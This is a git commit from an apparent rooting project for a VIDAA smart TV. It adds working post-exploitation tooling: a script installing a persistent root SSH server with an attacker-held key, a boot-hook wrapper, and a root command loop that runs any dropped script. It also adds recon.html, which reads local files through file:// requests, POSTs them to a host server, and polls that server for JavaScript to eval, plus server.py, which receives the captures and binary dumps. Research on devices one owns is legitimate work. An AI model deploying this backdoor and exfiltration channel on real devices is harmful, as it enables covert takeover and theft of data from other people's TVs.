add stuff

This commit is contained in:
angryzero committed 2026-10-27 15:56:27 +01:00
commit 26cd15d899
65 files changed
+4820

No files matched your search

Binary file not shown.

After

Width:  |  Height:  |  Size: 688 B

View File
Whitespace-only changes.
+1
View File
@@ -0,0 +1 @@
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKLzgdRrwTGWMSHIurddPrQBY/2zOk+BlsU4jJWtPh/B vidaa-root
+97
View File
@@ -0,0 +1,97 @@
#!/bin/sh
# deploy_sshd.sh — run as root on the TV (e.g. via the root loop).
#
# Expects in /3rd_rw/appdata:
# dropbear dropbearkey authorized_keys start_sshd.sh root_loop.sh
# hamservice-wrapper.sh
# Upload these with root/scripts/host/upload_to_appdata.js (or File.download).
#
# Installs:
# /3rd_rw/sshd/{dropbear,dropbearkey,host_key,etc_passwd,start_sshd.sh,home/.ssh/authorized_keys}
# /3rd_rw/hamservice/HamService (wrapper; replaces the symlink)
# bind /etc/passwd -> /3rd_rw/sshd/etc_passwd
# devpts /dev/shm/pts -> bind /dev/pts (PTY workaround)
# Dropbear on 0.0.0.0:22, key-only root login
#
# Reversible with rollback.sh or the ROOT-GUIDE.
set -e
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin
export PATH
APP=/3rd_rw/appdata
D=/3rd_rw/sshd
echo "=== deploy_sshd: start ==="
for f in dropbear dropbearkey authorized_keys start_sshd.sh root_loop.sh hamservice-wrapper.sh; do
[ -f "$APP/$f" ] || { echo "missing: $APP/$f"; exit 1; }
done
mkdir -p "$D/home/.ssh" /3rd_rw/hamservice
# --- binaries + host key -------------------------------------------------
cp -f "$APP/dropbear" "$D/dropbear"
if [ -f "$APP/dropbear-sftp" ]; then
cp -f "$APP/dropbear-sftp" "$D/dropbear"
echo "using SFTP-capable dropbear"
fi
chmod 755 "$D/dropbear"
cp -f "$APP/dropbearkey" "$D/dropbearkey"; chmod 755 "$D/dropbearkey"
if [ -f "$APP/sftp-server" ]; then
cp -f "$APP/sftp-server" "$D/sftp-server"
chmod 755 "$D/sftp-server"
echo "sftp-server installed"
fi
if [ ! -f "$D/host_key" ]; then
"$D/dropbearkey" -t ed25519 -f "$D/host_key"
fi
# --- root home via bind-mounted passwd -----------------------------------
cp -f /etc/passwd "$D/etc_passwd"
sed -i 's|^root:x:0:0:root:.*|root:x:0:0:root:/3rd_rw/sshd/home:/bin/sh|' "$D/etc_passwd"
if ! grep -q '^root:x:0:0:root:/3rd_rw/sshd/home:' /etc/passwd 2>/dev/null; then
mount --bind "$D/etc_passwd" /etc/passwd 2>>"$D/mount.log" \
|| mount -o bind "$D/etc_passwd" /etc/passwd 2>>"$D/mount.log"
fi
# --- PTY: devpts on tmpfs, bind over /dev/pts -----------------------------
mkdir -p /dev/shm/pts
if ! grep -q ' /dev/shm/pts ' /proc/mounts; then
mount -t devpts -o mode=620,ptmxmode=666,gid=5 devpts /dev/shm/pts 2>>"$D/mount.log" \
|| mount -t devpts devpts /dev/shm/pts 2>>"$D/mount.log"
fi
if ! grep -q ' /dev/pts ' /proc/mounts; then
mount --bind /dev/shm/pts /dev/pts 2>>"$D/mount.log"
fi
# --- authorized key / permissions ----------------------------------------
cp -f "$APP/authorized_keys" "$D/home/.ssh/authorized_keys"
chmod 700 "$D/home" "$D/home/.ssh"
chmod 600 "$D/home/.ssh/authorized_keys"
chown -R 0:0 "$D"
# --- start script + root loop + boot wrapper -----------------------------
cp -f "$APP/start_sshd.sh" "$D/start_sshd.sh"; chmod 755 "$D/start_sshd.sh"
chmod 644 "$APP/root_loop.sh"
rm -f /3rd_rw/hamservice/HamService
cp -f "$APP/hamservice-wrapper.sh" /3rd_rw/hamservice/HamService
chmod 755 /3rd_rw/hamservice/HamService
# --- start now (idempotent) ----------------------------------------------
/bin/sh "$D/start_sshd.sh"
sleep 2
echo "--- passwd root entry ---"
grep '^root:' /etc/passwd
echo "--- mounts ---"
grep -E ' /etc/passwd | /dev/pts | /dev/shm/pts ' /proc/mounts
echo "--- processes ---"
ps | grep -E 'dropbear|root_loop' | grep -v grep || true
echo "--- tcp 22 ---"
cat /proc/net/tcp | grep -i ':0016' || true
echo "--- dropbear log ---"
/bin/busybox tail -n 8 "$D/dropbear.log" 2>&1 || true
echo "--- host key ---"
"$D/dropbearkey" -y -f "$D/host_key" 2>&1 | /bin/busybox tail -n 3 || true
echo "--- files ---"
ls -la "$D" "$D/home/.ssh" /3rd_rw/hamservice
echo "=== deploy_sshd: done ==="
BIN
View File
Binary file not shown.
BIN
View File
Binary file not shown.
BIN
View File
Binary file not shown.
+13
View File
@@ -0,0 +1,13 @@
#!/bin/sh
# /3rd_rw/hamservice/HamService (wrapper; install via deploy_sshd.sh)
# Early-ish boot hook (startHam.sh, after ~15 s): starts the root loop and
# Dropbear, then executes the real HamService. Reversible:
# rm /3rd_rw/hamservice/HamService
# ln -s /3rd/hamservice/HamService /3rd_rw/hamservice/HamService
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin
export PATH
/bin/sh /3rd_rw/appdata/root_loop.sh >/dev/null 2>&1 &
[ -x /3rd_rw/sshd/start_sshd.sh ] && /bin/sh /3rd_rw/sshd/start_sshd.sh >/dev/null 2>&1 &
exec /3rd/hamservice/HamService "$@"
Binary file not shown.
+29
View File
@@ -0,0 +1,29 @@
#!/bin/sh
# rollback.sh — remove the root/SSH persistence layers (run as root).
# The rootfs is untouched; this only removes /3rd_rw changes + runtime mounts.
# Reboot afterwards for a clean state.
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin
export PATH
D=/3rd_rw/sshd
echo "=== rollback: stopping loop/dropbear ==="
[ -f /3rd_rw/appdata/root_loop.pid ] && kill "$(cat /3rd_rw/appdata/root_loop.pid)" 2>/dev/null || true
[ -f "$D/dropbear.pid" ] && kill "$(cat "$D/dropbear.pid")" 2>/dev/null || true
echo "=== restore HamService symlink ==="
rm -f /3rd_rw/hamservice/HamService
ln -s /3rd/hamservice/HamService /3rd_rw/hamservice/HamService
echo "=== unmount runtime bind mounts ==="
umount /etc/passwd 2>/dev/null || true
umount /dev/pts 2>/dev/null || true
umount /dev/shm/pts 2>/dev/null || true
echo "=== remove sshd dir + shadows ==="
rm -rf "$D"
rm -f /3rd_rw/loglevel/lib/libtvsysinfo.so
rm -f /3rd_rw/ms-screen/lib/liblogLevel.so
rm -f /3rd_rw/appdata/liblogLevel.so
sync
echo "=== rollback done; reboot recommended ==="
+25
View File
@@ -0,0 +1,25 @@
#!/bin/sh
# /3rd_rw/appdata/root_loop.sh
# Root command loop. One instance per boot (boot_id lock).
# Write /3rd_rw/appdata/root_cmd.sh; read /3rd_rw/appdata/root_out.txt.
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin
export PATH
BID=""
[ -r /proc/sys/kernel/random/boot_id ] && BID=$(cat /proc/sys/kernel/random/boot_id 2>/dev/null)
[ -z "$BID" ] && BID=0
LOCK="/3rd_rw/appdata/root_loop.lock.$BID"
mkdir "$LOCK" 2>/dev/null || exit 0
echo "$$" > /3rd_rw/appdata/root_loop.pid
echo "loop started $$ $BID" > /3rd_rw/appdata/root_loop.log
while true; do
if [ -f /3rd_rw/appdata/root_cmd.sh ]; then
mv /3rd_rw/appdata/root_cmd.sh /3rd_rw/appdata/root_cmd.run
/bin/sh /3rd_rw/appdata/root_cmd.run > /3rd_rw/appdata/root_out.txt 2>&1
echo "rc=$?" >> /3rd_rw/appdata/root_out.txt
mv /3rd_rw/appdata/root_cmd.run /3rd_rw/appdata/root_cmd.done
fi
sleep 1
done
BIN
View File
Binary file not shown.
+39
View File
@@ -0,0 +1,39 @@
#!/bin/sh
# /3rd_rw/sshd/start_sshd.sh
# Starts Dropbear with key-only auth. Also re-creates the runtime bind mounts:
# /etc/passwd -> /3rd_rw/sshd/etc_passwd (root home -> /3rd_rw/sshd/home)
# /dev/pts -> devpts on /dev/shm/pts (PTY workaround; /dev is static ro)
# Must run as root. Idempotent.
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin
export PATH
mkdir -p /3rd_rw/sshd
# 1) passwd bind mount (root home must be writable for ~/.ssh/authorized_keys)
if ! grep -q '^root:x:0:0:root:/3rd_rw/sshd/home:' /etc/passwd 2>/dev/null; then
mount --bind /3rd_rw/sshd/etc_passwd /etc/passwd 2>>/3rd_rw/sshd/mount.log \
|| mount -o bind /3rd_rw/sshd/etc_passwd /etc/passwd 2>>/3rd_rw/sshd/mount.log
fi
# 2) PTY: /dev is a static ro squashfs, no devtmpfs. Mount devpts on tmpfs
# and bind it over /dev/pts. /dev/ptmx (5,2) remains the static node.
mkdir -p /dev/shm/pts
if ! grep -q ' /dev/shm/pts ' /proc/mounts; then
mount -t devpts -o mode=620,ptmxmode=666,gid=5 devpts /dev/shm/pts 2>>/3rd_rw/sshd/mount.log \
|| mount -t devpts devpts /dev/shm/pts 2>>/3rd_rw/sshd/mount.log
fi
if ! grep -q ' /dev/pts ' /proc/mounts; then
mount --bind /dev/shm/pts /dev/pts 2>>/3rd_rw/sshd/mount.log
fi
# 3) already running?
if [ -f /3rd_rw/sshd/dropbear.pid ]; then
PID=$(cat /3rd_rw/sshd/dropbear.pid)
if kill -0 "$PID" 2>/dev/null && grep -q dropbear "/proc/$PID/cmdline" 2>/dev/null; then
exit 0
fi
rm -f /3rd_rw/sshd/dropbear.pid
fi
# 4) start key-only Dropbear (password auth is disabled at build time)
/3rd_rw/sshd/dropbear -r /3rd_rw/sshd/host_key -p 22 \
-P /3rd_rw/sshd/dropbear.pid -E >> /3rd_rw/sshd/dropbear.log 2>&1 &
+47
View File
@@ -0,0 +1,47 @@
#!/bin/sh
# verify.sh — quick health check for the rooted TV (run as root).
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin
export PATH
D=/3rd_rw/sshd
echo "=== proof ==="
cat /3rd_rw/root_proof.txt 2>&1
echo "=== root loop ==="
cat /3rd_rw/appdata/root_loop.pid 2>&1
ps | grep root_loop | grep -v grep || true
echo "=== dropbear ==="
ps | grep dropbear | grep -v grep || true
cat /proc/net/tcp | grep -i ':0016' || true
/bin/busybox tail -n 10 "$D/dropbear.log" 2>&1 || true
echo "=== sftp (optional) ==="
if [ -f /3rd_rw/sshd/sftp-server ]; then
echo "sftp-server present"
else
echo "sftp-server missing (optional)"
fi
if grep -q '/3rd_rw/sshd/sftp-server' /3rd_rw/sshd/dropbear 2>/dev/null; then
echo "dropbear SFTP path OK"
else
echo "dropbear unpatched (optional; install_sftp.sh)"
fi
echo "=== passwd / root home ==="
grep '^root:' /etc/passwd
echo "=== authorized key ==="
ls -l "$D/home/.ssh/authorized_keys" 2>&1
/bin/busybox head -c 120 "$D/home/.ssh/authorized_keys" 2>&1; echo
echo "=== mounts ==="
grep -E ' /etc/passwd | /dev/pts | /dev/shm/pts ' /proc/mounts
echo "=== current uid/gid (this shell) ==="
grep -E '^(Uid|Gid|CapEff):' /proc/self/status
echo "=== host key ==="
"$D/dropbearkey" -y -f "$D/host_key" 2>&1 | /bin/busybox tail -n 3 || true
echo "=== verify done ==="
+70
View File
@@ -0,0 +1,70 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=1920, height=1080">
<title>VIDAA Recon</title>
<style>
html,body{margin:0;height:100%;background:#000;color:#cfe3d5;
font-family:Consolas,"DejaVu Sans Mono",monospace;font-size:20px;}
pre{white-space:pre-wrap;word-break:break-word;padding:14px 18px;line-height:1.3;}
.sec{color:#6fb3ff;font-weight:bold;} .ok{color:#7bd88f;} .no{color:#e07a6a;} .warn{color:#e6c15a;}
</style>
</head>
<body>
<pre id="o">loading phase…</pre>
<script>
var O=document.getElementById("o"), collected=[];
function log(m,c){ if(O.textContent==="loading phase…") O.textContent=""; if(c){var d=document.createElement("span");d.className=c;d.textContent=m;O.insertBefore(d,O.firstChild);}else O.insertBefore(document.createTextNode(m),O.firstChild); collected.push(m); }
function sec(t){ log("\n==== "+t+" ====","sec"); }
function kv(k,v){ log("\n "+k+": "+v); }
function raw(l,t,max){ max=max||6000; var s=(t==null?"":String(t)); if(s.length>max) s=s.slice(0,max)+"\n …[+"+(s.length-max)+"]"; log("\n -- "+l+" --\n "+s.replace(/\n/g,"\n ")); }
function has(f){ return typeof window[f]==="function"; }
function fileXHR(path){ try{ var x=new XMLHttpRequest(); x.open("GET",path,false); x.send(null); if(x.status===200||x.status===0) return x.responseText; return null; }catch(e){ return "ERR:"+e; } }
function fileRead(rel,flag){ try{ if(typeof File!=="undefined"&&File.read) return File.read(rel,flag||1); }catch(e){ return "ERR:"+e; } return null; }
function parseListing(html){
if(html==null) return null;
var s=String(html); if(s.indexOf("ERR:")===0) return s;
var out=[], re=/addRow\(\s*"([^"]*)"\s*,\s*"([^"]*)"\s*,\s*(\d+)/g, m;
while((m=re.exec(s))!==null){
var name=m[1]; if(name==="."||name==="..") continue;
out.push((m[3]==="1"?"[D] ":"[F] ")+name);
}
return out.length? out.join("\n ") : "(empty or no addRow entries)";
}
function listDir(d){ var r=fileXHR("file://"+d+"/"); return parseListing(r); }
function readFile(p){ var r=fileXHR("file://"+p); if(r==null) return null; if(String(r).indexOf("ERR:")===0) return null; if(String(r).indexOf("<!DOCTYPE")===0) return "(directory)"; return r; }
function shipNow(){
var payload="PHASE "+location.href+"\nTIME "+new Date().toISOString()+"\n\n"+collected.join("");
log("\n\n[shipping "+collected.join("").length+" chars…]");
fetch("/recon",{method:"POST",headers:{"Content-Type":"text/plain"},body:payload})
.then(function(r){ log("\n[shipped "+r.status+"]","ok"); })
.catch(function(e){ log("\n[ship FAILED "+e+"]","no"); });
}
window.__recon={log:log,sec:sec,kv:kv,raw:raw,has:has,fileXHR:fileXHR,fileRead:fileRead,parseListing:parseListing,listDir:listDir,readFile:readFile,shipNow:shipNow,collected:collected};
fetch("/phase.js?t="+Date.now()).then(function(r){return r.text();})
.then(function(code){ (function(R){ with(R){ eval(code); } })(window.__recon); })
.catch(function(e){ log("\nload phase.js FAILED: "+e,"no"); });
// LIVE HOOK: polls /cmd, evals one JS command, reports the completion value.
// One page reload is needed after this file changes; afterwards commands can be
// sent by dropping JS into live_cmd.txt on the host.
function __liveEval(code){
try { return (function(R){ with(R){ return eval(code); } })(window.__recon); }
catch(e){ return "LIVE_ERR: "+e; }
}
function __livePoll(){
fetch("/cmd?t="+Date.now()).then(function(r){
if(r.status!==200) return null;
return r.text().then(function(code){
if(!code) return;
var out=__liveEval(code);
var payload="LIVE CMD:\n"+code+"\n\nLIVE RESULT:\n"+String(out);
fetch("/recon",{method:"POST",headers:{"Content-Type":"text/plain"},body:payload});
});
}).catch(function(e){}).then(function(){ setTimeout(__livePoll,600); });
}
setTimeout(__livePoll,1500);
</script>
</body>
</html>
+108
View File
@@ -0,0 +1,108 @@
#!/usr/bin/env python3
"""Serves recon.html to the TV and captures what the TV POSTs back.
Run: python3 server.py [port] (default 9000)
The TV opens http://<this-pc-ip>:9000/ in its built-in browser.
Captures land in ./captures/ as timestamped .txt files.
"""
import http.server, socketserver, os, sys, datetime, itertools, urllib.parse
HERE = os.path.dirname(os.path.abspath(__file__))
CAP = os.path.join(HERE, "captures"); os.makedirs(CAP, exist_ok=True)
PAGE = os.path.join(HERE, "recon.html")
SEQ = itertools.count()
class H(http.server.BaseHTTPRequestHandler):
def log_message(self, *a): pass
def _send(self, code, body, ctype="text/html; charset=utf-8"):
self.send_response(code)
self.send_header("Content-Type", ctype)
self.send_header("Content-Length", str(len(body)))
self.send_header("Cache-Control", "no-store")
self.send_header("Access-Control-Allow-Origin", "*")
self.end_headers()
self.wfile.write(body)
def do_GET(self):
# Live command channel: the TV polls /cmd; the host drops a JS command
# into live_cmd.txt. The file is consumed atomically enough for one TV.
if self.path.split("?")[0] != "/cmd":
print(f"[GET] {self.path} ua={self.headers.get('User-Agent','')[:40]}", flush=True)
if self.path.split("?")[0] == "/cmd":
cp = os.path.join(HERE, "live_cmd.txt")
try:
if os.path.exists(cp):
with open(cp, "rb") as fh: body = fh.read()
os.remove(cp)
self._send(200, body, "text/plain; charset=utf-8")
else:
self._send(204, b"", "text/plain; charset=utf-8")
except Exception as e:
self._send(500, str(e).encode(), "text/plain; charset=utf-8")
return
if self.path.startswith("/pub/"):
name = os.path.basename(urllib.parse.urlsplit(self.path).path)
p = os.path.join(HERE, "pub", name)
if os.path.exists(p):
with open(p, "rb") as fh:
body = fh.read()
self.send_response(200)
self.send_header("Content-Type", "application/octet-stream")
self.send_header("Content-Disposition", 'attachment; filename="%s"' % name)
self.send_header("Content-Length", str(len(body)))
self.send_header("Cache-Control", "no-store")
self.send_header("Access-Control-Allow-Origin", "*")
self.end_headers()
self.wfile.write(body)
else:
self._send(404, b"not found", "text/plain")
return
routes = {
"/": PAGE,
"/recon.html": PAGE,
"/index.html": PAGE,
"/phase2.html": os.path.join(HERE, "phase2.html"),
"/phase.js": os.path.join(HERE, "phase.js"),
"/icon.png": os.path.join(HERE, "icon.png"),
}
f = routes.get(self.path.split("?")[0])
if f and os.path.exists(f):
if f.endswith(".png"): ctype = "image/png"
elif f.endswith(".js"): ctype = "application/javascript; charset=utf-8"
else: ctype = "text/html; charset=utf-8"
with open(f, "rb") as fh: self._send(200, fh.read(), ctype)
else:
self._send(404, b"not found", "text/plain")
def do_POST(self):
path = urllib.parse.urlsplit(self.path).path
if path == "/dump":
q = urllib.parse.parse_qs(urllib.parse.urlsplit(self.path).query)
off = int(q.get("off", ["0"])[0])
total = int(q.get("total", ["0"])[0])
name = os.path.basename(q.get("name", ["libomi.so"])[0]) or "libomi.so"
n = int(self.headers.get("Content-Length", 0))
body = self.rfile.read(n)
d = os.path.join(HERE, ".re", "dumps", "tv")
os.makedirs(d, exist_ok=True)
p = os.path.join(d, name)
with open(p, "wb" if off == 0 else "r+b") as f:
f.seek(off)
f.write(body)
print(f"[+] dump off={off} len={len(body)} total={total}", flush=True)
self._send(200, b"ok", "text/plain")
return
if path != "/recon":
self._send(404, b"not found", "text/plain"); return
n = int(self.headers.get("Content-Length", 0))
body = self.rfile.read(n).decode("utf-8", "replace")
ts = datetime.datetime.now().strftime("%Y%m%d-%H%M%S")
seq = next(SEQ)
p = os.path.join(CAP, f"recon-{ts}-{seq:06d}.txt")
with open(p, "w") as f: f.write(body)
print(f"[+] captured {len(body)} bytes -> {p}", flush=True)
self._send(200, b"ok", "text/plain")
if __name__ == "__main__":
port = int(sys.argv[1]) if len(sys.argv) > 1 else 9000
socketserver.TCPServer.allow_reuse_address = True
with socketserver.ThreadingTCPServer(("0.0.0.0", port), H) as httpd:
print(f"[*] serving recon on http://0.0.0.0:{port}/ (captures -> {CAP})", flush=True)
httpd.serve_forever()